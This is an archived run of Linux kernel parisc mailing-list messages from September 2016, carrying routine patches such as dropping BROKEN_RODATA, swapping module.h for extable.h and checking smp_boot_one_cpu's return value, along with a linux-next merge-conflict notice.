+unsigned long __init arch_syscall_addr(int nr, bool compat)
+{
+#ifdef CONFIG_COMPAT
+	if (compat)
+		return (unsigned long)sys_call_table[nr];
+#endif /* CONFIG_COMPAT */
+
+	return (unsigned long)sys_call_table64[nr];
+}
+
+#endif /* CONFIG_FTRACE_SYSCALLS && CONFIG_64BIT */
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: migrate exception table users off module.h and onto extable.h
Date: Mon, 19 Sep 2016 18:04:51 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20160919220451.6074-1-paul.gortmaker@windriver.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1474322748 4026 195.159.176.226 (19 Sep 2016 22:05:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 19 Sep 2016 22:05:48 +0000 (UTC)
Cc: Paul Gortmaker <paul.gortmaker@windriver.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 20 00:05:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bm6gr-0007NL-Aj
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Sep 2016 00:05:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752717AbcISWFa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 19 Sep 2016 18:05:30 -0400
Original-Received: from mail.windriver.com ([147.11.1.11]:35058 "EHLO
        mail.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752151AbcISWF3 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 19 Sep 2016 18:05:29 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
        by mail.windriver.com (8.15.2/8.15.1) with ESMTPS id u8JM4xvM028621
        (version=TLSv1 cipher=AES128-SHA bits=128 verify=FAIL);
        Mon, 19 Sep 2016 15:05:00 -0700 (PDT)
Original-Received: from yow-lpgnfs-02.wrs.com (128.224.149.8) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.3.294.0; Mon, 19 Sep 2016 15:04:59 -0700
X-Mailer: git-send-email 2.10.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26962 gmane.linux.kernel:2312200
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26962>

This file was only including module.h for exception table related
functions.  We've now separated that content out into its own file
"extable.h" so now move over to that and avoid all the extra header
content in module.h that we don't really need to compile this file.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[see: https://lkml.org/lkml/2016/7/24/224 for additional context if needed]

 arch/parisc/mm/fault.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 163af2c31d76..a67519b79504 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -14,7 +14,7 @@
 #include <linux/ptrace.h>
 #include <linux/sched.h>
 #include <linux/interrupt.h>
-#include <linux/module.h>
+#include <linux/extable.h>
 #include <linux/uaccess.h>
 
 #include <asm/traps.h>
-- 
2.8.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop BROKEN_RODATA config option
Date: Tue, 20 Sep 2016 17:20:10 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20160920152010.GA5172@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1474384844 29834 195.159.176.226 (20 Sep 2016 15:20:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Sep 2016 15:20:44 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 20 17:20:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bmMqL-0008QW-IX
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Sep 2016 17:20:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754599AbcITPUX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 20 Sep 2016 11:20:23 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:62347 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754535AbcITPUW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 20 Sep 2016 11:20:22 -0400
Original-Received: from p100.box ([92.203.1.173]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MS0c2-1bOguV07sw-00TDpB; Tue, 20 Sep 2016 17:20:13
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:lgoX58U/6VYlZsm8HRYtwb8EC6tLKt4zL4VbQdSdMudkWRDRVn9
 IxbIYNQwuD79gP6G5g3vaLgpm65ticSiMDdrIu6zEU1VIfTQ8Hdy+wlMTJ2pkY7oF6gfjwm
 C4mGGgFxe2BM+I23YL9gM8iG8WTCTiv/q6/b+527onLc5e3i+OZ4x4wubJ3kfHEgbOHmocT
 cqY74FEXqxk2h2W5zJC3Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ey1ciED7D3k=:YmDsz/mc0vZcR3DtZoNIKW
 qmCx0sX4qYuY9/wdShtQBHPcDfTyb4wG1tQYui2Lo8WGxzYvA93+3DmM113Rxzki5cKvxaxQj
 +Bxa4ZLOOyPMyeE33wo2A2iXzvyQQhTN0P9+yPMMnv0pJ771PMjJNFke0TYrjA3IWXHlvhEns
 yRr4VkfwaBFSex4jowDvUqCJheYDPcv8z8zJYBfij2T4sHpqoSAlm6Pvy5pf1wZ8LGZ35HZ6q
 z/fFtgBKTVBuoP6pctCGQCgalGPdvyAt/8khB+c0Ibc/kdIfcindd6NZdiUXqOvgFCSd5igpt
 IfV66cx3+3CwNEeXhnBWdzT96in4SjQjCHxFNQYY9V3jpeWrevIvjgB4yJisOEMTGMBRpFDX9
 Rc5BEzswrZrOVFdY6NsBeqHJXuXrgLaJMjad4MM0B2Vk0vBSGsbmdHS7jCWpc0vE9ZefahBBN
 0x7kxFlA3HCxog4pRvXdscgOJz1nCp14IbpC1Z/mwCsbZU8ggTCvTcFj2+Ef6s9q3tW4Z6yxl
 tBYcrTITy3X0LOr+Fq6/k99rtyzAcBt3uuGpBqHPPu0xfhMLKk3aDVZldZ29RaojMQd8I7eRG
 zyq9gqwVhFxwx4Kc2qS+aXtA/70myX6UjgaNSXX7cOr6y9w/udytbY9lHsJVes+adcyqI7MeH
 rS7bNLFuQKtcOnPQBYL2Ymc4UMcFSECVtGAjFzSsgJOxVaCIv2nLb17DuTGV4dMkcwvC8e0uc
 BoIHhEXfAhZhXWbHzvrvRuoWek31VZnApAicwfwLcluMWogFk91QjWNqqBA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26963>

PARISC was the only architecture which selected the BROKEN_RODATA config
option. Drop it and remove the special handling from init.h as well.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index af12c2d..f8dc10d 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -15,7 +15,6 @@ config PARISC
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
-	select BROKEN_RODATA
 	select GENERIC_IRQ_PROBE
 	select GENERIC_PCI_IOMAP
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
diff --git a/include/linux/init.h b/include/linux/init.h
index 6935d02..5a3321a 100644
--- a/include/linux/init.h
+++ b/include/linux/init.h
@@ -41,22 +41,11 @@
    discard it in modules) */
 #define __init		__section(.init.text) __cold notrace
 #define __initdata	__section(.init.data)
-#define __initconst	__constsection(.init.rodata)
+#define __initconst	__section(.init.rodata)
 #define __exitdata	__section(.exit.data)
 #define __exit_call	__used __section(.exitcall.exit)
 
 /*
- * Some architecture have tool chains which do not handle rodata attributes
- * correctly. For those disable special sections for const, so that other
- * architectures can annotate correctly.
- */
-#ifdef CONFIG_BROKEN_RODATA
-#define __constsection(x)
-#else
-#define __constsection(x) __section(x)
-#endif
-
-/*
  * modpost check for section mismatches during the kernel build.
  * A section mismatch happens when there are references from a
  * code or data section to an init section (both code or data).
@@ -75,7 +64,7 @@
  */
 #define __ref            __section(.ref.text) noinline
 #define __refdata        __section(.ref.data)
-#define __refconst       __constsection(.ref.rodata)
+#define __refconst       __section(.ref.rodata)
 
 #ifdef MODULE
 #define __exitused
@@ -88,10 +77,10 @@
 /* Used for MEMORY_HOTPLUG */
 #define __meminit        __section(.meminit.text) __cold notrace
 #define __meminitdata    __section(.meminit.data)
-#define __meminitconst   __constsection(.meminit.rodata)
+#define __meminitconst   __section(.meminit.rodata)
 #define __memexit        __section(.memexit.text) __exitused __cold notrace
 #define __memexitdata    __section(.memexit.data)
-#define __memexitconst   __constsection(.memexit.rodata)
+#define __memexitconst   __section(.memexit.rodata)
 
 /* For assembly routines */
 #define __HEAD		.section	".head.text","ax"
diff --git a/init/Kconfig b/init/Kconfig
index cac3f09..cc20d7a 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -2108,12 +2108,6 @@ config PADATA
 	depends on SMP
 	bool
 
-# Can be selected by architectures with broken toolchains
-# that get confused by correct const<->read_only section
-# mappings
-config BROKEN_RODATA
-	bool

From - Thu Nov 08 21:39:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Check return value of smp_boot_one_cpu()
Date: Tue, 20 Sep 2016 17:29:32 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20160920152932.GA5245@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1474385409 31383 195.159.176.226 (20 Sep 2016 15:30:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Sep 2016 15:30:09 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 20 17:30:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bmMzT-0005vf-Ts
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Sep 2016 17:29:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755358AbcITP3t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 20 Sep 2016 11:29:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55227 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755205AbcITP3s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 20 Sep 2016 11:29:48 -0400
Original-Received: from p100.box ([92.203.1.173]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M3d9B-1avMh42XgX-00rKak; Tue, 20 Sep 2016 17:29:35
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Y3r8nMx2iQoGjWT79nHLOWzT6hN/24R97n0DzmRFlKDRfvgs0GR
 /DZJGFLqeOQQ0azh3oa3AqLJPvzeTaDnSvwOjcDfCP+kUjDg4uWNhvTgzUS1t6ZXLiEuz3K
 rZn1/BeQ/yGiHX9JML6/7EFJ03o/zB0u2seb5kaMU9INNI+Px2e4CgqdK7lOLUfGFv8MzfQ
 6n/4cghjisFhSe2GOr2fg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:EkDrZUi0hhE=:1EI2yI80nsEanmKSr0dTHg
 UcXLkV9gbvblmQXZv1QArSLawvzImNuYnkv4XBy1Vk1LbL6OxWm+jgDwY7hREG48VujwZvE4D
 on8mOAoPq/AnKqC0UYUPtYIWTge7Xwg/XKkdQn4uuwz+D0lvMmlZZkvlO3MdCWS3xnAOD37TG
 UsySQhtwKJYe8+RfjpDr8dkov4rffDsltwvLb+SeFJ40ekC7joGShQLhsU05CBGxhsN35hrlw
 eoLb5rWx/1IMwXHwIq4VX2VZgbMUiHD7oTxkr5ABVz4QmIGRNegEq13sxyte7PrE8dOc/zxdD
 qeDuufMWEJxgxCVihjwiN+2GD/4k2P/8z0lIJjruf3JsXTjLQBUUZUvSgspMtsJqZSrM8PcmN
 /N3G8VSMcNqPBzAOm0jeVDE0QdH4VA61pr9bhSVbCCZZ48V4pjBbE+tbwcVAP6Ou6NI+6WubD
 T5gV4lFmUDhbW6SxM1f6xWmjF/ka0IbnOMtU5QKHlrcujZn4QYQvdViVa7SLF0W1QhaV+zhtD
 HKFjt4LLyKTsYZu33nDtvex43HsufL7k1debv8GgvInYoX4KV2ODlz33a8jAWBAQPzWLJUwsx
 E+Kw5jJ+NZxlGZDp6Hv48kpvPuK/Di0Hf16rJy65VSQ5Qhobvocx/PFM0oFzLo7COADHmaQrA
 Q1rH9rENJcJ16tXpFMyUEoAPKdCu8HWqhE1N8ITAEZ2wXpZM3nAt4O74oDfQB+PERXsutykt+
 X6DZyS1SgtxwpaJawmGJnE4N9NBO7izLdfTjQCCl6aFgblQGY65TEMPS5YI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26964>

Check return value of smp_boot_one_cpu() whether CPU could be brought up.

Reported-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index c2a9cc5..75dab28 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -412,8 +412,8 @@ void smp_cpus_done(unsigned int cpu_max)
 
 int __cpu_up(unsigned int cpu, struct task_struct *tidle)
 {
-	if (cpu != 0 && cpu < parisc_max_cpus)
-		smp_boot_one_cpu(cpu, tidle);
+	if (cpu != 0 && cpu < parisc_max_cpus && smp_boot_one_cpu(cpu, tidle))
+		return -ENOSYS;
 
 	return cpu_online(cpu) ? 0 : -ENOSYS;
 }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Update comment regarding implementation of copy_user_page_asm
Date: Tue, 20 Sep 2016 12:59:39 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <7B426EDB-5249-4A32-ACE1-05D9D3B2A940@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-20-14856818
X-Trace: blaine.gmane.org 1474392255 26470 195.159.176.226 (20 Sep 2016 17:24:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 20 Sep 2016 17:24:15 +0000 (UTC)
Cc: deller@kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 20 19:24:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bmOm7-00061k-K2
	for glpp-linux-parisc@m.gmane.org; Tue, 20 Sep 2016 19:24:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754694AbcITRYI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 20 Sep 2016 13:24:08 -0400
Original-Received: from belmont94srvr.owm.bell.net ([184.150.200.94]:48694 "EHLO
        mtlfep07.bell.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751643AbcITRYI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 20 Sep 2016 13:24:08 -0400
X-Greylist: delayed 1463 seconds by postgrey-1.27 at vger.kernel.org; Tue, 20 Sep 2016 13:24:08 EDT
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160920165939.IWZO13393.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 20 Sep 2016 12:59:39 -0400
Original-Received: from [192.168.2.10] (really [70.54.56.11]) by mtlspm02.bell.net
          with ESMTP
          id <20160920165939.WPMY32013.mtlspm02.bell.net@[192.168.2.10]>;
          Tue, 20 Sep 2016 12:59:39 -0400
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.57E16AFB.0279,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26965
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26965>


--Apple-Mail-20-14856818
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The attached patch describes the current implementation of =
copy_user_page_asm.  It is possible to implement
this routine using either the kernel page mappings or equivalent =
aliases.  I tested both and decided the former
was more efficient.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-20-14856818
Content-Disposition: attachment;
	filename=pacache.S.d.txt
Content-Type: text/plain;
	name="pacache.S.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index b743a80..1250c02 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -573,11 +573,17 @@ ENDPROC(copy_page_asm)
 	.endm
 
 	/*
-	 * We can't do this since copy_user_page is used to bring in
-	 * file data that might have instructions. Since the data would
-	 * then need to be flushed out so the i-fetch can see it, it
-	 * makes more sense to just copy through the kernel translation
-	 * and flush it.
+	 * copy_user_page_asm() performs a page copy using mappings
+	 * equivalent to the user page mappings.  It can be used to
+	 * implement copy_user_page() but unfortunately both the `from'
+	 * and `to' pages need to be flushed through mappings equivalent
+	 * to the user mappings after the copy because the kernel accesses
+	 * the `from' page through the kmap kernel mapping and the `to'
+	 * page needs to be flushed since code can be copied.  As a
+	 * result, this implementation is less efficient than the simpler
+	 * copy using the kernel mapping.  It only needs the `from' page
+	 * to flushed via the user mapping.  The kunmap routines handle
+	 * the flushes needed for the kernel mapping.
 	 *
 	 * I'm still keeping this around because it may be possible to
 	 * use it if more information is passed into copy_user_page().

--Apple-Mail-20-14856818
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-20-14856818--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: manual merge of the akpm-current tree with the
 parisc-hd tree
Date: Wed, 21 Sep 2016 15:20:06 +1000
Lines: 40
Approved: news@gmane.org
Message-ID: <20160921152006.58c2c81c@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1474435214 16061 195.159.176.226 (21 Sep 2016 05:20:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 21 Sep 2016 05:20:14 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org,
        Vineet Gupta <Vineet.Gupta1@synopsys.com>
To: Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Wed Sep 21 07:20:10 2016
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1bmZx3-0003aD-Ul
	for glkn-linux-next@m.gmane.org; Wed, 21 Sep 2016 07:20:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753873AbcIUFUK (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Wed, 21 Sep 2016 01:20:10 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:53733 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753138AbcIUFUJ (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Wed, 21 Sep 2016 01:20:09 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3sf7HB6Q2xz9sdn;
        Wed, 21 Sep 2016 15:20:06 +1000 (AEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201601; t=1474435207;
        bh=GY6LJeOhwuXSjw+hjP/CRTYfoovrNQEkvtDQ/7bu8eM=;
        h=Date:From:To:Cc:Subject:From;
        b=H1wcNPrp5/23Nc465lHZp1tRtkPMdQoKoyAlB5RU2T4slqrWOQ7rMahnbg+FyczHI
         4KtTYD7orZMAT1Ag4pXOs+h3Ed3o5eLjWnd2vhDInDQM2SoUuVFsOXc/BbSb0DCA7M
         7Ne5z2mg7YQ2ozUrAHiSSAzksx0TaXZGjLxsRviw=
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:40342 gmane.linux.ports.parisc:26966 gmane.linux.kernel:2313130
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/40342>

Hi Andrew,

Today's linux-next merge of the akpm-current tree got a conflict in:

  arch/parisc/Kconfig

between commit:

  b5d5cf2b8a68 ("parisc: Drop BROKEN_RODATA config option")

from the parisc-hd tree and commit:

  7b4d24d8c01d ("atomic64: no need for CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE")

from the akpm-current tree.

I fixed it up (see below) and can carry the fix as necessary. This
is now fixed as far as linux-next is concerned, but any non trivial
conflicts should be mentioned to your upstream maintainer when your tree
is submitted for merging.  You may also want to consider cooperating
with the maintainer of the conflicting tree to minimise any particularly
complex conflicts.

-- 
Cheers,
Stephen Rothwell

diff --cc arch/parisc/Kconfig
index f8dc10dcf292,8a96bdcc3807..000000000000
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@@ -14,7 -14,7 +14,6 @@@ config PARIS
  	select BUILDTIME_EXTABLE_SORT
  	select HAVE_PERF_EVENTS
  	select GENERIC_ATOMIC64 if !64BIT
- 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 -	select BROKEN_RODATA
  	select GENERIC_IRQ_PROBE
  	select GENERIC_PCI_IOMAP
  	select ARCH_HAVE_NMI_SAFE_CMPXCHG

From - Thu Nov 08 21:39:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Report trap type as human readable string
Date: Fri, 23 Sep 2016 20:44:57 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <20160923184457.GA14114@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1474656317 17354 195.159.176.226 (23 Sep 2016 18:45:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Sep 2016 18:45:17 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 23 20:45:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bnVTC-0003gK-Tm
	for glpp-linux-parisc@m.gmane.org; Fri, 23 Sep 2016 20:45:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1034614AbcIWSpL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 23 Sep 2016 14:45:11 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:65505 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753191AbcIWSpL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 23 Sep 2016 14:45:11 -0400
Original-Received: from ls3530.box ([92.203.55.246]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MbaS9-1bUTBA3auz-00J6Lp; Fri, 23 Sep 2016 20:45:02
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:Qr4NzP8vevUBRnOeiNBrzI/g0DGRKMj1Q525+7OVuxlkMAwVnBM
 p4v7wjov9/6/9/xi2syBiK0r93XTgkmkxUHfsm0MDHxEIIZplSFyhYyMbdp7S3gir0el5XI
 KTmqQlTe8T6TNMZOpZ8bB/E7Wl0xcXMt/rqiGQQlQ16WEt6TrnBBLUd6Toqxa9iiLp5f3tg
 XtBXtdc5Twu3hQJJzLe+A==
